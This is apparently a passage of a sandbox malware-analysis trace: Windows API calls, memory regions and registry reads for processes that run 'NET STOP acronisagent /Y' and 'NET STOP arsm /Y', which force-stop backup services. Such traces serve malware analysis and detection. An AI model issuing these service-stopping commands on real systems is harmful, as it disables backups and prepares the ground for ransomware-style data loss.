_wcsicmp (_String1="continue", _String2="STOP") returned -16 [0038.286] _wcsicmp (_String1="cont", _String2="STOP") returned -16 [0038.286] _wcsicmp (_String1="file", _String2="STOP") returned -13 [0038.286] _wcsicmp (_String1="files", _String2="STOP") returned -13 [0038.286] _wcsicmp (_String1="group", _String2="STOP") returned -12 [0038.286] _wcsicmp (_String1="groups", _String2="STOP") returned -12 [0038.286] _wcsicmp (_String1="help", _String2="STOP") returned -11 [0038.286] _wcsicmp (_String1="helpmsg", _String2="STOP") returned -11 [0038.286] _wcsicmp (_String1="localgroup", _String2="STOP") returned -7 [0038.286] _wcsicmp (_String1="pause", _String2="STOP") returned -3 [0038.286] _wcsicmp (_String1="session", _String2="STOP") returned -15 [0038.286] _wcsicmp (_String1="sessions", _String2="STOP") returned -15 [0038.286] _wcsicmp (_String1="sess", _String2="STOP") returned -15 [0038.287] _wcsicmp (_String1="share", _String2="STOP") returned -12 [0038.287] _wcsicmp (_String1="start", _String2="STOP") returned -14 [0038.287] _wcsicmp (_String1="stats", _String2="STOP") returned -14 [0038.287] _wcsicmp (_String1="statistics", _String2="STOP") returned -14 [0038.287] _wcsicmp (_String1="stop", _String2="STOP") returned 0 [0038.287] _wcsicmp (_String1="accounts", _String2="acronisagent") returned -15 [0038.287] _wcsicmp (_String1="computer", _String2="acronisagent") returned 2 [0038.287] _wcsicmp (_String1="config", _String2="acronisagent") returned 2 [0038.287] _wcsicmp (_String1="continue", _String2="acronisagent") returned 2 [0038.287] _wcsicmp (_String1="cont", _String2="acronisagent") returned 2 [0038.287] _wcsicmp (_String1="file", _String2="acronisagent") returned 5 [0038.287] _wcsicmp (_String1="files", _String2="acronisagent") returned 5 [0038.287] _wcsicmp (_String1="group", _String2="acronisagent") returned 6 [0038.287] _wcsicmp (_String1="groups", _String2="acronisagent") returned 6 [0038.287] _wcsicmp (_String1="help", _String2="acronisagent") returned 7 [0038.287] _wcsicmp (_String1="helpmsg", _String2="acronisagent") returned 7 [0038.287] _wcsicmp (_String1="localgroup", _String2="acronisagent") returned 11 [0038.287] _wcsicmp (_String1="pause", _String2="acronisagent") returned 15 [0038.287] _wcsicmp (_String1="session", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="sessions", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="sess", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="share", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="start", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="stats", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="statistics", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="stop", _String2="acronisagent") returned 18 [0038.287] _wcsicmp (_String1="time", _String2="acronisagent") returned 19 [0038.287] _wcsicmp (_String1="user", _String2="acronisagent") returned 20 [0038.287] _wcsicmp (_String1="users", _String2="acronisagent") returned 20 [0038.287] _wcsicmp (_String1="msg", _String2="acronisagent") returned 12 [0038.287] _wcsicmp (_String1="messenger", _String2="acronisagent") returned 12 [0038.287] _wcsicmp (_String1="receiver", _String2="acronisagent") returned 17 [0038.287] _wcsicmp (_String1="rcv", _String2="acronisagent") returned 17 [0038.287] _wcsicmp (_String1="netpopup", _String2="acronisagent") returned 13 [0038.287] _wcsicmp (_String1="redirector", _String2="acronisagent") returned 17 [0038.287] _wcsicmp (_String1="redir", _String2="acronisagent") returned 17 [0038.287] _wcsicmp (_String1="rdr", _String2="acronisagent") returned 17 [0038.287] _wcsicmp (_String1="workstation", _String2="acronisagent") returned 22 [0038.287] _wcsicmp (_String1="work", _String2="acronisagent") returned 22 [0038.287] _wcsicmp (_String1="wksta", _String2="acronisagent") returned 22 [0038.288] _wcsicmp (_String1="prdr", _String2="acronisagent") returned 15 [0038.288] _wcsicmp (_String1="devrdr", _String2="acronisagent") returned 3 [0038.288] _wcsicmp (_String1="lanmanworkstation", _String2="acronisagent") returned 11 [0038.288] _wcsicmp (_String1="server", _String2="acronisagent") returned 18 [0038.288] _wcsicmp (_String1="svr", _String2="acronisagent") returned 18 [0038.288] _wcsicmp (_String1="srv", _String2="acronisagent") returned 18 [0038.288] _wcsicmp (_String1="lanmanserver", _String2="acronisagent") returned 11 [0038.288] _wcsicmp (_String1="alerter", _String2="acronisagent") returned 9 [0038.288] _wcsicmp (_String1="netlogon", _String2="acronisagent") returned 13 [0038.288] _wcsupr (in: _String="acronisagent" | out: _String="ACRONISAGENT") returned="ACRONISAGENT" [0038.288] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x405498 [0038.290] GetServiceKeyNameW (in: hSCManager=0x405498, lpDisplayName="ACRONISAGENT", lpServiceName=0x100aaf0, lpcchBuffer=0xcf7c0 | out: lpServiceName="", lpcchBuffer=0xcf7c0) returned 0 [0038.291] _wcsicmp (_String1="msg", _String2="ACRONISAGENT") returned 12 [0038.291] _wcsicmp (_String1="messenger", _String2="ACRONISAGENT") returned 12 [0038.291] _wcsicmp (_String1="receiver", _String2="ACRONISAGENT") returned 17 [0038.291] _wcsicmp (_String1="rcv", _String2="ACRONISAGENT") returned 17 [0038.291] _wcsicmp (_String1="redirector", _String2="ACRONISAGENT") returned 17 [0038.291] _wcsicmp (_String1="redir", _String2="ACRONISAGENT") returned 17 [0038.291] _wcsicmp (_String1="rdr", _String2="ACRONISAGENT") returned 17 [0038.291] _wcsicmp (_String1="workstation", _String2="ACRONISAGENT") returned 22 [0038.291] _wcsicmp (_String1="work", _String2="ACRONISAGENT") returned 22 [0038.291] _wcsicmp (_String1="wksta", _String2="ACRONISAGENT") returned 22 [0038.291] _wcsicmp (_String1="prdr", _String2="ACRONISAGENT") returned 15 [0038.291] _wcsicmp (_String1="devrdr", _String2="ACRONISAGENT") returned 3 [0038.291] _wcsicmp (_String1="lanmanworkstation", _String2="ACRONISAGENT") returned 11 [0038.291] _wcsicmp (_String1="server", _String2="ACRONISAGENT") returned 18 [0038.291] _wcsicmp (_String1="svr", _String2="ACRONISAGENT") returned 18 [0038.291] _wcsicmp (_String1="srv", _String2="ACRONISAGENT") returned 18 [0038.291] _wcsicmp (_String1="lanmanserver", _String2="ACRONISAGENT") returned 11 [0038.291] _wcsicmp (_String1="alerter", _String2="ACRONISAGENT") returned 9 [0038.291] _wcsicmp (_String1="netlogon", _String2="ACRONISAGENT") returned 13 [0038.291] NetServiceControl (in: servername=0x0, service="ACRONISAGENT", opcode=0x0, arg=0x0, bufptr=0xcf7bc | out: bufptr=0xcf7bc) returned 0x889 [0038.292] wcscpy_s (in: _Destination=0x100a4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0038.292] LoadLibraryW (lpLibFileName="NETMSG") returned 0x751d0000 [0038.293] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x751d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0x100b338, nSize=0x800, Arguments=0x1009dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0038.294] GetFileType (hFile=0xb) returned 0x2 [0038.294] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf6dc | out: lpMode=0xcf6dc) returned 1 [0038.294] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x100b338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0xcf6fc, lpReserved=0x0 | out: lpBuffer=0x100b338*, lpNumberOfCharsWritten=0xcf6fc*=0x1e) returned 1 [0038.295] GetFileType (hFile=0xb) returned 0x2 [0038.295] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf6dc | out: lpMode=0xcf6dc) returned 1 [0038.295] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcf6fc, lpReserved=0x0 | out: lpBuffer=0xff16cc*, lpNumberOfCharsWritten=0xcf6fc*=0x2) returned 1 [0038.295] _ultow (in: _Dest=0x889, _Radix=849708 | out: _Dest=0x889) returned="2185" [0038.295] FormatMessageW (in: dwFlags=0x2800, lpSource=0x751d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0x100b338, nSize=0x800, Arguments=0x1009dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0038.295] GetFileType (hFile=0xb) returned 0x2 [0038.295] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf6e8 | out: lpMode=0xcf6e8) returned 1 [0038.296] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x100b338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0xcf708, lpReserved=0x0 | out: lpBuffer=0x100b338*, lpNumberOfCharsWritten=0xcf708*=0x34) returned 1 [0038.296] GetFileType (hFile=0xb) returned 0x2 [0038.296] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xcf6e8 | out: lpMode=0xcf6e8) returned 1 [0038.296] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xcf708, lpReserved=0x0 | out: lpBuffer=0xff16cc*, lpNumberOfCharsWritten=0xcf708*=0x2) returned 1 [0038.297] NetApiBufferFree (Buffer=0x401c08) returned 0x0 [0038.297] NetApiBufferFree (Buffer=0x401c20) returned 0x0 [0038.297] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP acronisagent /Y" [0038.297] exit (_Code=2) Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4dfc3000" os_pid = "0xaa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET STOP arsm /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 791 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 792 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 793 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 794 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 795 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 796 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 797 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 798 start_va = 0x4a800000 end_va = 0x4a84bfff entry_point = 0x4a800000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 799 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 800 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 801 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 802 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 803 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 804 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 805 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 806 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 807 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 808 start_va = 0x320000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 809 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 810 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 811 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 812 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 813 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 814 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 815 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 816 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 817 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 818 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 819 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 820 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 821 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 822 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 823 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 824 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 825 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 826 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 827 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 828 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 829 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 830 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 831 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 832 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 833 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 834 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 835 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 836 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 837 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 838 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 839 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 840 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 841 start_va = 0x700000 end_va = 0x880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 842 start_va = 0x890000 end_va = 0x1c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 843 start_va = 0x1c90000 end_va = 0x1fd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c90000" filename = "" Region: id = 844 start_va = 0x1fe0000 end_va = 0x22aefff entry_point = 0x1fe0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 15 os_tid = 0xaa4 [0038.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f95c | out: lpSystemTimeAsFileTime=0x24f95c*(dwLowDateTime=0xd815daa0, dwHighDateTime=0x1d4abdd)) [0038.409] GetCurrentProcessId () returned 0xaa0 [0038.409] GetCurrentThreadId () returned 0xaa4 [0038.409] GetTickCount () returned 0x19c6d [0038.409] QueryPerformanceCounter (in: lpPerformanceCount=0x24f954 | out: lpPerformanceCount=0x24f954*=1811363900000) returned 1 [0038.410] GetModuleHandleA (lpModuleName=0x0) returned 0x4a800000 [0038.410] __set_app_type (_Type=0x1) [0038.410] __p__fmode () returned 0x75ed31f4 [0038.411] __p__commode () returned 0x75ed31fc [0038.411] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8221a6) returned 0x0 [0038.411] __getmainargs (in: _Argc=0x4a824238, _Argv=0x4a824240, _Env=0x4a82423c, _DoWildCard=0, _StartInfo=0x4a824140 | out: _Argc=0x4a824238, _Argv=0x4a824240, _Env=0x4a82423c) returned 0 [0038.411] GetCurrentThreadId () returned 0xaa4 [0038.411] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xaa4) returned 0x60 [0038.411] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0038.411] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0038.411] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.412] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.412] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f8ec | out: phkResult=0x24f8ec*=0x0) returned 0x2 [0038.412] VirtualQuery (in: lpAddress=0x24f923, lpBuffer=0x24f8bc, dwLength=0x1c | out: lpBuffer=0x24f8bc*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.412] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24f8bc, dwLength=0x1c | out: lpBuffer=0x24f8bc*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.412] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24f8bc, dwLength=0x1c | out: lpBuffer=0x24f8bc*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.412] VirtualQuery (in: lpAddress=0x153000, lpBuffer=0x24f8bc, dwLength=0x1c | out: lpBuffer=0x24f8bc*(BaseAddress=0x153000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.412] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24f8bc, dwLength=0x1c | out: lpBuffer=0x24f8bc*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.412] GetConsoleOutputCP () returned 0x1b5 [0038.412] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a824260 | out: lpCPInfo=0x4a824260) returned 1 [0038.412] SetConsoleCtrlHandler (HandlerRoutine=0x4a81e72a, Add=1) returned 1 [0038.412] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.412] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.413] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.413] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8241ac | out: lpMode=0x4a8241ac) returned 1 [0038.413] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.413] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.413] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.413] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8241b0 | out: lpMode=0x4a8241b0) returned 1 [0038.413] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.413] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.413] GetEnvironmentStringsW () returned 0x482af8* [0038.414] FreeEnvironmentStringsW (penv=0x482af8) returned 1 [0038.414] GetEnvironmentStringsW () returned 0x482af8* [0038.414] FreeEnvironmentStringsW (penv=0x482af8) returned 1 [0038.414] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e85c | out: phkResult=0x24e85c*=0x6c) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x0, lpData=0x24e868*=0x32, lpcbData=0x24e860*=0x1000) returned 0x2 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x1, lpcbData=0x24e860*=0x4) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x0, lpData=0x24e868*=0x1, lpcbData=0x24e860*=0x1000) returned 0x2 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x0, lpcbData=0x24e860*=0x4) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x40, lpcbData=0x24e860*=0x4) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x40, lpcbData=0x24e860*=0x4) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x0, lpData=0x24e868*=0x40, lpcbData=0x24e860*=0x1000) returned 0x2 [0038.414] RegCloseKey (hKey=0x6c) returned 0x0 [0038.414] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e85c | out: phkResult=0x24e85c*=0x6c) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x0, lpData=0x24e868*=0x40, lpcbData=0x24e860*=0x1000) returned 0x2 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x1, lpcbData=0x24e860*=0x4) returned 0x0 [0038.414] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x0, lpData=0x24e868*=0x1, lpcbData=0x24e860*=0x1000) returned 0x2 [0038.415] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x0, lpcbData=0x24e860*=0x4) returned 0x0 [0038.415] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x9, lpcbData=0x24e860*=0x4) returned 0x0 [0038.415] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x4, lpData=0x24e868*=0x9, lpcbData=0x24e860*=0x4) returned 0x0 [0038.415] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e864, lpData=0x24e868, lpcbData=0x24e860*=0x1000 | out: lpType=0x24e864*=0x0, lpData=0x24e868*=0x9, lpcbData=0x24e860*=0x1000) returned 0x2 [0038.415] RegCloseKey (hKey=0x6c) returned 0x0 [0038.415] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f50 [0038.415] srand (_Seed=0x5c3c3f50) [0038.415] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP arsm /Y" [0038.415] GetCommandLineW () 